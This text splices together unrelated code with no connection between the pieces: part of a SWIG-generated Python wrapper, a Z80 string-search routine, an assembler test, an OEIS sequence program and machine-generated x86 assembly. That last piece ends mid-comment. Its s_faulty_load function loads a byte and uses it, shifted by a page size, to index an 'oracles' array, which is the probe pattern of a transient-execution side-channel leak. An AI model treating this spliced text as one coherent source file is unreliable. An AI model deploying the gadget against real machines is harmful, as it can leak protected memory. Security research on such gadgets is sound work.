"SwigPyIterator___iadd__", _wrap_SwigPyIterator___iadd__, METH_VARARGS, NULL}, { "SwigPyIterator___isub__", _wrap_SwigPyIterator___isub__, METH_VARARGS, NULL}, { "SwigPyIterator___add__", _wrap_SwigPyIterator___add__, METH_VARARGS, NULL}, { "SwigPyIterator___sub__", _wrap_SwigPyIterator___sub__, METH_VARARGS, NULL}, { "SwigPyIterator_swigregister", SwigPyIterator_swigregister, METH_O, NULL}, { "new_Graph", _wrap_new_Graph, METH_VARARGS, NULL}, { "Graph_add_edge", _wrap_Graph_add_edge, METH_VARARGS, NULL}, { "Graph_get_node", _wrap_Graph_get_node, METH_VARARGS, NULL}, { "Graph_add_node", _wrap_Graph_add_node, METH_VARARGS, NULL}, { "Graph_get_candidate_roots", _wrap_Graph_get_candidate_roots, METH_O, NULL}, { "Graph_get_leaves", _wrap_Graph_get_leaves, METH_O, NULL}, { "Graph_pick_root", _wrap_Graph_pick_root, METH_O, NULL}, { "Graph_print_nodes", _wrap_Graph_print_nodes, METH_O, NULL}, { "Graph_get_root", _wrap_Graph_get_root, METH_O, NULL}, { "Graph_set_root", _wrap_Graph_set_root, METH_VARARGS, NULL}, { "Graph_get_max_depth", _wrap_Graph_get_max_depth, METH_VARARGS, NULL}, { "Graph_m_graph_set", _wrap_Graph_m_graph_set, METH_VARARGS, NULL}, { "Graph_m_graph_get", _wrap_Graph_m_graph_get, METH_O, NULL}, { "delete_Graph", _wrap_delete_Graph, METH_O, NULL}, { "Graph_swigregister", Graph_swigregister, METH_O, NULL}, { "Graph_swiginit", Graph_swiginit, METH_VARARGS, NULL}, { NULL, NULL, 0, NULL } }; static PyMethodDef SwigMethods_proxydocs[] = { { NULL, NULL, 0, NULL } }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ static swig_type_info _swigt__p_EasyLogger = {"_p_EasyLogger", "EasyLogger *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_Graph = {"_p_Graph", "Graph *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_TNode = {"_p_TNode", "TNode *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_std__invalid_argument = {"_p_std__invalid_argument", "std::invalid_argument *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t = {"_p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t", "std::list< TNode *,std::allocator< TNode * > > *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t = {"_p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t", "std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *", 0, 0, (void*)0, 0}; static swig_type_info _swigt__p_swig__SwigPyIterator = {"_p_swig__SwigPyIterator", "swig::SwigPyIterator *", 0, 0, (void*)0, 0}; static swig_type_info *swig_type_initial[] = { &_swigt__p_EasyLogger, &_swigt__p_Graph, &_swigt__p_TNode, &_swigt__p_char, &_swigt__p_std__invalid_argument, &_swigt__p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t, &_swigt__p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t, &_swigt__p_swig__SwigPyIterator, }; static swig_cast_info _swigc__p_EasyLogger[] = { {&_swigt__p_EasyLogger, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_Graph[] = { {&_swigt__p_Graph, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_TNode[] = { {&_swigt__p_TNode, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_char[] = { {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_std__invalid_argument[] = { {&_swigt__p_std__invalid_argument, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t[] = { {&_swigt__p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t[] = { {&_swigt__p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info _swigc__p_swig__SwigPyIterator[] = { {&_swigt__p_swig__SwigPyIterator, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info *swig_cast_initial[] = { _swigc__p_EasyLogger, _swigc__p_Graph, _swigc__p_TNode, _swigc__p_char, _swigc__p_std__invalid_argument, _swigc__p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t, _swigc__p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t, _swigc__p_swig__SwigPyIterator, }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */ static swig_const_info swig_const_table[] = { {0, 0, 0, 0.0, 0, 0}}; #ifdef __cplusplus } #endif /* ----------------------------------------------------------------------------- * Type initialization: * This problem is tough by the requirement that no dynamic * memory is used. Also, since swig_type_info structures store pointers to * swig_cast_info structures and swig_cast_info structures store pointers back * to swig_type_info structures, we need some lookup code at initialization. * The idea is that swig generates all the structures that are needed. * The runtime then collects these partially filled structures. * The SWIG_InitializeModule function takes these initial arrays out of * swig_module, and does all the lookup, filling in the swig_module.types * array with the correct data and linking the correct swig_cast_info * structures together. * * The generated swig_type_info structures are assigned statically to an initial * array. We just loop through that array, and handle each type individually. * First we lookup if this type has been already loaded, and if so, use the * loaded structure instead of the generated one. Then we have to fill in the * cast linked list. The cast data is initially stored in something like a * two-dimensional array. Each row corresponds to a type (there are the same * number of rows as there are in the swig_type_initial array). Each entry in * a column is one of the swig_cast_info structures for that type. * The cast_initial array is actually an array of arrays, because each row has * a variable number of columns. So to actually build the cast linked list, * we find the array of casts associated with the type, and loop through it * adding the casts to the list. The one last trick we need to do is making * sure the type pointer in the swig_cast_info struct is correct. * * First off, we lookup the cast->type name to see if it is already loaded. * There are three cases to handle: * 1) If the cast->type has already been loaded AND the type we are adding * casting info to has not been loaded (it is in this module), THEN we * replace the cast->type pointer with the type pointer that has already * been loaded. * 2) If BOTH types (the one we are adding casting info to, and the * cast->type) are loaded, THEN the cast info has already been loaded by * the previous module so we just ignore it. * 3) Finally, if cast->type has not already been loaded, then we add that * swig_cast_info to the linked list (because the cast->type) pointer will * be correct. * ----------------------------------------------------------------------------- */ #ifdef __cplusplus extern "C" { #if 0 } /* c-mode */ #endif #endif #if 0 #define SWIGRUNTIME_DEBUG #endif SWIGRUNTIME void SWIG_InitializeModule(void *clientdata) { size_t i; swig_module_info *module_head, *iter; int init; /* check to see if the circular list has been setup, if not, set it up */ if (swig_module.next==0) { /* Initialize the swig_module */ swig_module.type_initial = swig_type_initial; swig_module.cast_initial = swig_cast_initial; swig_module.next = &swig_module; init = 1; } else { init = 0; } /* Try and load any already created modules */ module_head = SWIG_GetModule(clientdata); if (!module_head) { /* This is the first module loaded for this interpreter */ /* so set the swig module into the interpreter */ SWIG_SetModule(clientdata, &swig_module); } else { /* the interpreter has loaded a SWIG module, but has it loaded this one? */ iter=module_head; do { if (iter==&swig_module) { /* Our module is already in the list, so there's nothing more to do. */ return; } iter=iter->next; } while (iter!= module_head); /* otherwise we must add our module into the list */ swig_module.next = module_head->next; module_head->next = &swig_module; } /* When multiple interpreters are used, a module could have already been initialized in a different interpreter, but not yet have a pointer in this interpreter. In this case, we do not want to continue adding types... everything should be set up already */ if (init == 0) return; /* Now work on filling in swig_module.types */ #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); #endif for (i = 0; i < swig_module.size; ++i) { swig_type_info *type = 0; swig_type_info *ret; swig_cast_info *cast; #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); #endif /* if there is another module already loaded */ if (swig_module.next != &swig_module) { type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); } if (type) { /* Overwrite clientdata field */ #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: found type %s\n", type->name); #endif if (swig_module.type_initial[i]->clientdata) { type->clientdata = swig_module.type_initial[i]->clientdata; #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); #endif } } else { type = swig_module.type_initial[i]; } /* Insert casting types */ cast = swig_module.cast_initial[i]; while (cast->type) { /* Don't need to add information already in the list */ ret = 0; #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); #endif if (swig_module.next != &swig_module) { ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); #ifdef SWIGRUNTIME_DEBUG if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); #endif } if (ret) { if (type == swig_module.type_initial[i]) { #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: skip old type %s\n", ret->name); #endif cast->type = ret; ret = 0; } else { /* Check for casting already in the list */ swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); #ifdef SWIGRUNTIME_DEBUG if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); #endif if (!ocast) ret = 0; } } if (!ret) { #ifdef SWIGRUNTIME_DEBUG printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); #endif if (type->cast) { type->cast->prev = cast; cast->next = type->cast; } type->cast = cast; } cast++; } /* Set entry in modules->types array equal to the type */ swig_module.types[i] = type; } swig_module.types[i] = 0; #ifdef SWIGRUNTIME_DEBUG printf("**** SWIG_InitializeModule: Cast List ******\n"); for (i = 0; i < swig_module.size; ++i) { int j = 0; swig_cast_info *cast = swig_module.cast_initial[i]; printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); while (cast->type) { printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); cast++; ++j; } printf("---- Total casts: %d\n",j); } printf("**** SWIG_InitializeModule: Cast List ******\n"); #endif } /* This function will propagate the clientdata field of type to * any new swig_type_info structures that have been added into the list * of equivalent types. It is like calling * SWIG_TypeClientData(type, clientdata) a second time. */ SWIGRUNTIME void SWIG_PropagateClientData(void) { size_t i; swig_cast_info *equiv; static int init_run = 0; if (init_run) return; init_run = 1; for (i = 0; i < swig_module.size; i++) { if (swig_module.types[i]->clientdata) { equiv = swig_module.types[i]->cast; while (equiv) { if (!equiv->converter) { if (equiv->type && !equiv->type->clientdata) SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); } equiv = equiv->next; } } } } #ifdef __cplusplus #if 0 { /* c-mode */ #endif } #endif #ifdef __cplusplus extern "C" { #endif /* Python-specific SWIG API */ #define SWIG_newvarlink() SWIG_Python_newvarlink() #define SWIG_addvarlink(p, name, get_attr, set_attr) SWIG_Python_addvarlink(p, name, get_attr, set_attr) #define SWIG_InstallConstants(d, constants) SWIG_Python_InstallConstants(d, constants) /* ----------------------------------------------------------------------------- * global variable support code. * ----------------------------------------------------------------------------- */ typedef struct swig_globalvar { char *name; /* Name of global variable */ PyObject *(*get_attr)(void); /* Return the current value */ int (*set_attr)(PyObject *); /* Set the value */ struct swig_globalvar *next; } swig_globalvar; typedef struct swig_varlinkobject { PyObject_HEAD swig_globalvar *vars; } swig_varlinkobject; SWIGINTERN PyObject * swig_varlink_repr(swig_varlinkobject *SWIGUNUSEDPARM(v)) { #if PY_VERSION_HEX >= 0x03000000 return PyUnicode_InternFromString("<Swig global variables>"); #else return PyString_FromString("<Swig global variables>"); #endif } SWIGINTERN PyObject * swig_varlink_str(swig_varlinkobject *v) { #if PY_VERSION_HEX >= 0x03000000 PyObject *str = PyUnicode_InternFromString("("); PyObject *tail; PyObject *joined; swig_globalvar *var; for (var = v->vars; var; var=var->next) { tail = PyUnicode_FromString(var->name); joined = PyUnicode_Concat(str, tail); Py_DecRef(str); Py_DecRef(tail); str = joined; if (var->next) { tail = PyUnicode_InternFromString(", "); joined = PyUnicode_Concat(str, tail); Py_DecRef(str); Py_DecRef(tail); str = joined; } } tail = PyUnicode_InternFromString(")"); joined = PyUnicode_Concat(str, tail); Py_DecRef(str); Py_DecRef(tail); str = joined; #else PyObject *str = PyString_FromString("("); swig_globalvar *var; for (var = v->vars; var; var=var->next) { PyString_ConcatAndDel(&str,PyString_FromString(var->name)); if (var->next) PyString_ConcatAndDel(&str,PyString_FromString(", ")); } PyString_ConcatAndDel(&str,PyString_FromString(")")); #endif return str; } SWIGINTERN void swig_varlink_dealloc(swig_varlinkobject *v) { swig_globalvar *var = v->vars; while (var) { swig_globalvar *n = var->next; free(var->name); free(var); var = n; } } SWIGINTERN PyObject * swig_varlink_getattr(swig_varlinkobject *v, char *n) { PyObject *res = NULL; swig_globalvar *var = v->vars; while (var) { if (strcmp(var->name,n) == 0) { res = (*var->get_attr)(); break; } var = var->next; } if (res == NULL && !PyErr_Occurred()) { PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); } return res; } SWIGINTERN int swig_varlink_setattr(swig_varlinkobject *v, char *n, PyObject *p) { int res = 1; swig_globalvar *var = v->vars; while (var) { if (strcmp(var->name,n) == 0) { res = (*var->set_attr)(p); break; } var = var->next; } if (res == 1 && !PyErr_Occurred()) { PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); } return res; } SWIGINTERN PyTypeObject* swig_varlink_type(void) { static char varlink__doc__[] = "Swig var link object"; static PyTypeObject varlink_type; static int type_init = 0; if (!type_init) { const PyTypeObject tmp = { #if PY_VERSION_HEX >= 0x03000000 PyVarObject_HEAD_INIT(NULL, 0) #else PyObject_HEAD_INIT(NULL) 0, /* ob_size */ #endif "swigvarlink", /* tp_name */ sizeof(swig_varlinkobject), /* tp_basicsize */ 0, /* tp_itemsize */ (destructor) swig_varlink_dealloc, /* tp_dealloc */ 0, /* tp_print */ (getattrfunc) swig_varlink_getattr, /* tp_getattr */ (setattrfunc) swig_varlink_setattr, /* tp_setattr */ 0, /* tp_compare */ (reprfunc) swig_varlink_repr, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ (reprfunc) swig_varlink_str, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ 0, /* tp_flags */ varlink__doc__, /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /* tp_iter -> tp_weaklist */ 0, /* tp_del */ 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 0, /* tp_finalize */ #endif #ifdef COUNT_ALLOCS 0, /* tp_allocs */ 0, /* tp_frees */ 0, /* tp_maxalloc */ 0, /* tp_prev */ 0 /* tp_next */ #endif }; varlink_type = tmp; type_init = 1; if (PyType_Ready(&varlink_type) < 0) return NULL; } return &varlink_type; } /* Create a variable linking object for use later */ SWIGINTERN PyObject * SWIG_Python_newvarlink(void) { swig_varlinkobject *result = PyObject_NEW(swig_varlinkobject, swig_varlink_type()); if (result) { result->vars = 0; } return ((PyObject*) result); } SWIGINTERN void SWIG_Python_addvarlink(PyObject *p, const char *name, PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) { swig_varlinkobject *v = (swig_varlinkobject *) p; swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); if (gv) { size_t size = strlen(name)+1; gv->name = (char *)malloc(size); if (gv->name) { memcpy(gv->name, name, size); gv->get_attr = get_attr; gv->set_attr = set_attr; gv->next = v->vars; } } v->vars = gv; } SWIGINTERN PyObject * SWIG_globals(void) { static PyObject *globals = 0; if (!globals) { globals = SWIG_newvarlink(); } return globals; } /* ----------------------------------------------------------------------------- * constants/methods manipulation * ----------------------------------------------------------------------------- */ /* Install Constants */ SWIGINTERN void SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) { PyObject *obj = 0; size_t i; for (i = 0; constants[i].type; ++i) { switch(constants[i].type) { case SWIG_PY_POINTER: obj = SWIG_InternalNewPointerObj(constants[i].pvalue, *(constants[i]).ptype,0); break; case SWIG_PY_BINARY: obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype)); break; default: obj = 0; break; } if (obj) { PyDict_SetItemString(d, constants[i].name, obj); Py_DECREF(obj); } } } /* -----------------------------------------------------------------------------*/ /* Fix SwigMethods to carry the callback ptrs when needed */ /* -----------------------------------------------------------------------------*/ SWIGINTERN void SWIG_Python_FixMethods(PyMethodDef *methods, swig_const_info *const_table, swig_type_info **types, swig_type_info **types_initial) { size_t i; for (i = 0; methods[i].ml_name; ++i) { const char *c = methods[i].ml_doc; if (!c) continue; c = strstr(c, "swig_ptr: "); if (c) { int j; swig_const_info *ci = 0; const char *name = c + 10; for (j = 0; const_table[j].type; ++j) { if (strncmp(const_table[j].name, name, strlen(const_table[j].name)) == 0) { ci = &(const_table[j]); break; } } if (ci) { void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0; if (ptr) { size_t shift = (ci->ptype) - types; swig_type_info *ty = types_initial[shift]; size_t ldoc = (c - methods[i].ml_doc); size_t lptr = strlen(ty->name)+2*sizeof(void*)+2; char *ndoc = (char*)malloc(ldoc + lptr + 10); if (ndoc) { char *buff = ndoc; memcpy(buff, methods[i].ml_doc, ldoc); buff += ldoc; memcpy(buff, "swig_ptr: ", 10); buff += 10; SWIG_PackVoidPtr(buff, ptr, ty->name, lptr); methods[i].ml_doc = ndoc; } } } } } } /* ----------------------------------------------------------------------------- * Method creation and docstring support functions * ----------------------------------------------------------------------------- */ /* ----------------------------------------------------------------------------- * Function to find the method definition with the correct docstring for the * proxy module as opposed to the low-level API * ----------------------------------------------------------------------------- */ SWIGINTERN PyMethodDef *SWIG_PythonGetProxyDoc(const char *name) { /* Find the function in the modified method table */ size_t offset = 0; int found = 0; while (SwigMethods_proxydocs[offset].ml_meth != NULL) { if (strcmp(SwigMethods_proxydocs[offset].ml_name, name) == 0) { found = 1; break; } offset++; } /* Use the copy with the modified docstring if available */ return found ? &SwigMethods_proxydocs[offset] : NULL; } /* ----------------------------------------------------------------------------- * Wrapper of PyInstanceMethod_New() used in Python 3 * It is exported to the generated module, used for -fastproxy * ----------------------------------------------------------------------------- */ SWIGINTERN PyObject *SWIG_PyInstanceMethod_New(PyObject *SWIGUNUSEDPARM(self), PyObject *func) { if (PyCFunction_Check(func)) { PyCFunctionObject *funcobj = (PyCFunctionObject *)func; PyMethodDef *ml = SWIG_PythonGetProxyDoc(funcobj->m_ml->ml_name); if (ml) func = PyCFunction_NewEx(ml, funcobj->m_self, funcobj->m_module); } #if PY_VERSION_HEX >= 0x03000000 return PyInstanceMethod_New(func); #else return PyMethod_New(func, NULL, NULL); #endif } /* ----------------------------------------------------------------------------- * Wrapper of PyStaticMethod_New() * It is exported to the generated module, used for -fastproxy * ----------------------------------------------------------------------------- */ SWIGINTERN PyObject *SWIG_PyStaticMethod_New(PyObject *SWIGUNUSEDPARM(self), PyObject *func) { if (PyCFunction_Check(func)) { PyCFunctionObject *funcobj = (PyCFunctionObject *)func; PyMethodDef *ml = SWIG_PythonGetProxyDoc(funcobj->m_ml->ml_name); if (ml) func = PyCFunction_NewEx(ml, funcobj->m_self, funcobj->m_module); } return PyStaticMethod_New(func); } #ifdef __cplusplus } #endif /* -----------------------------------------------------------------------------* * Partial Init method * -----------------------------------------------------------------------------*/ #ifdef __cplusplus extern "C" #endif SWIGEXPORT #if PY_VERSION_HEX >= 0x03000000 PyObject* #else void #endif SWIG_init(void) { PyObject *m, *d, *md, *globals; #if PY_VERSION_HEX >= 0x03000000 static struct PyModuleDef SWIG_module = { PyModuleDef_HEAD_INIT, SWIG_name, NULL, -1, SwigMethods, NULL, NULL, NULL, NULL }; #endif #if defined(SWIGPYTHON_BUILTIN) static SwigPyClientData SwigPyObject_clientdata = { 0, 0, 0, 0, 0, 0, 0 }; static PyGetSetDef this_getset_def = { (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL }; static SwigPyGetSet thisown_getset_closure = { SwigPyObject_own, SwigPyObject_own }; static PyGetSetDef thisown_getset_def = { (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure }; PyTypeObject *builtin_pytype; int builtin_base_count; swig_type_info *builtin_basetype; PyObject *tuple; PyGetSetDescrObject *static_getset; PyTypeObject *metatype; PyTypeObject *swigpyobject; SwigPyClientData *cd; PyObject *public_interface, *public_symbol; PyObject *this_descr; PyObject *thisown_descr; PyObject *self = 0; int i; (void)builtin_pytype; (void)builtin_base_count; (void)builtin_basetype; (void)tuple; (void)static_getset; (void)self; /* Metaclass is used to implement static member variables */ metatype = SwigPyObjectType(); assert(metatype); #endif (void)globals; /* Create singletons now to avoid potential deadlocks with multi-threaded usage after module initialization */ SWIG_This(); SWIG_Python_TypeCache(); SwigPyPacked_type(); #ifndef SWIGPYTHON_BUILTIN SwigPyObject_type(); #endif /* Fix SwigMethods to carry the callback ptrs when needed */ SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial); #if PY_VERSION_HEX >= 0x03000000 m = PyModule_Create(&SWIG_module); #else m = Py_InitModule(SWIG_name, SwigMethods); #endif md = d = PyModule_GetDict(m); (void)md; SWIG_InitializeModule(0); #ifdef SWIGPYTHON_BUILTIN swigpyobject = SwigPyObject_TypeOnce(); SwigPyObject_stype = SWIG_MangledTypeQuery("_p_SwigPyObject"); assert(SwigPyObject_stype); cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; if (!cd) { SwigPyObject_stype->clientdata = &SwigPyObject_clientdata; SwigPyObject_clientdata.pytype = swigpyobject; } else if (swigpyobject->tp_basicsize != cd->pytype->tp_basicsize) { PyErr_SetString(PyExc_RuntimeError, "Import error: attempted to load two incompatible swig-generated modules."); # if PY_VERSION_HEX >= 0x03000000 return NULL; # else return; # endif } /* All objects have a 'this' attribute */ this_descr = PyDescr_NewGetSet(SwigPyObject_type(), &this_getset_def); (void)this_descr; /* All objects have a 'thisown' attribute */ thisown_descr = PyDescr_NewGetSet(SwigPyObject_type(), &thisown_getset_def); (void)thisown_descr; public_interface = PyList_New(0); public_symbol = 0; (void)public_symbol; PyDict_SetItemString(md, "__all__", public_interface); Py_DECREF(public_interface); for (i = 0; SwigMethods[i].ml_name != NULL; ++i) SwigPyBuiltin_AddPublicSymbol(public_interface, SwigMethods[i].ml_name); for (i = 0; swig_const_table[i].name != 0; ++i) SwigPyBuiltin_AddPublicSymbol(public_interface, swig_const_table[i].name); #endif SWIG_InstallConstants(d,swig_const_table); #if PY_VERSION_HEX >= 0x03000000 return m; #else return; #endif }
; char __CALLEE__ *strrstr_callee(char *s, char *w) ; return ptr to last occurrence of string w in s ; 01.2007 aralbrec SECTION code_clib PUBLIC strrstr_callee PUBLIC _strrstr_callee PUBLIC ASMDISP_STRRSTR_CALLEE EXTERN rcmx_cpir .strrstr_callee ._strrstr_callee pop hl pop de ex (sp),hl ; enter : de = char *w ; hl = char *s ; exit : found : hl = ptr, NC flag set ; else : hl = ptr to '\0' in s, C flag set ; uses : af, bc, hl .asmentry ; first find end of s and len(s) xor a ld c,a ld b,a cpir dec hl ; de = char *w ; hl = terminating '\0' in char *s ; bc = -(length of char *s)-1 ; degenerate case ld a,(de) or a ret z .loop1 dec hl inc bc ld a,b or c jr z, nomatch ld a,(de) cp (hl) jp nz, loop1 push hl ; save char *s push de ; save char *w .loop2 inc de ld a,(de) or a jr z, match inc hl cp (hl) jp z, loop2 pop de pop hl jp loop1 .nomatch ld l,c ld h,b scf ret .match pop de pop hl ret DEFC ASMDISP_STRRSTR_CALLEE = # asmentry - strrstr_callee
; Test for some corner cases db v1 v1 = 1 db v1 v1 = v1 + 1 db v1 db %11'01'11'00 db 1'234 db #01'02
; A170687: Number of reduced words of length n in Coxeter group on 6 generators S_i with relations (S_i)^2 = (S_i S_j)^50 = I. ; 1,6,30,150,750,3750,18750,93750,468750,2343750,11718750,58593750,292968750,1464843750,7324218750,36621093750,183105468750,915527343750,4577636718750,22888183593750,114440917968750,572204589843750,2861022949218750 mov $1,5 pow $1,$0 mul $1,6 div $1,5
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x767, %rsi lea addresses_D_ht+0x1279a, %rdi nop nop inc %rbx mov $82, %rcx rep movsl nop and $40295, %rbp lea addresses_normal_ht+0x33a7, %r11 nop nop nop nop nop add %rcx, %rcx mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop nop nop nop xor %rbp, %rbp lea addresses_WT_ht+0x9267, %r11 nop nop cmp %rax, %rax movl $0x61626364, (%r11) nop sub %rax, %rax lea addresses_WT_ht+0x5fe7, %rax nop nop xor %rbx, %rbx movw $0x6162, (%rax) add $13327, %rsi lea addresses_UC_ht+0x1226b, %rax nop nop nop nop nop inc %rsi movups (%rax), %xmm5 vpextrq $1, %xmm5, %rbp nop nop nop nop nop and $54183, %rsi lea addresses_D_ht+0xb127, %rsi lea addresses_normal_ht+0x15889, %rdi xor %r14, %r14 mov $120, %rcx rep movsw nop nop nop nop nop mfence lea addresses_WC_ht+0xc527, %rsi lea addresses_normal_ht+0x1f27, %rdi clflush (%rsi) nop nop nop nop nop and $30741, %rbx mov $55, %rcx rep movsq nop nop sub %rbp, %rbp lea addresses_WC_ht+0xcc5f, %rsi lea addresses_normal_ht+0x13d17, %rdi nop cmp $3514, %r14 mov $6, %rcx rep movsl nop inc %rbx lea addresses_WT_ht+0x8457, %r14 clflush (%r14) sub $3204, %r11 movw $0x6162, (%r14) nop nop dec %rbp lea addresses_A_ht+0x1b127, %rdi nop cmp $38955, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm2 vmovups %ymm2, (%rdi) nop nop nop nop add $29006, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r9 push %rbp push %rbx push %rdx // Store lea addresses_WC+0x108f7, %rdx nop sub %rbp, %rbp movw $0x5152, (%rdx) nop nop nop sub $10336, %rbp // Store lea addresses_D+0x15fc7, %r13 nop nop nop nop add %r9, %r9 movl $0x51525354, (%r13) nop cmp $20493, %r9 // Store lea addresses_WC+0x11aaf, %rdx nop nop nop nop nop and $5485, %r11 mov $0x5152535455565758, %rbx movq %rbx, %xmm5 vmovups %ymm5, (%rdx) nop nop nop nop dec %r10 // Store lea addresses_normal+0x17027, %r10 nop nop nop nop nop inc %r9 mov $0x5152535455565758, %rbx movq %rbx, %xmm6 movups %xmm6, (%r10) nop nop nop nop nop cmp %rbp, %rbp // Store lea addresses_RW+0x17527, %r13 nop nop nop nop xor %r10, %r10 movw $0x5152, (%r13) nop nop nop nop cmp %rbp, %rbp // Store lea addresses_UC+0xa127, %r9 nop nop nop sub %r11, %r11 movl $0x51525354, (%r9) nop nop dec %r10 // Store lea addresses_A+0x1cd50, %r11 and $52917, %rbx movl $0x51525354, (%r11) nop nop sub $54063, %rbp // Faulty Load lea addresses_UC+0xa127, %r10 nop nop xor %r11, %r11 movb (%r10), %r13b lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rdx pop %rbx pop %rbp pop %r9 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}, 'dst': {'same': 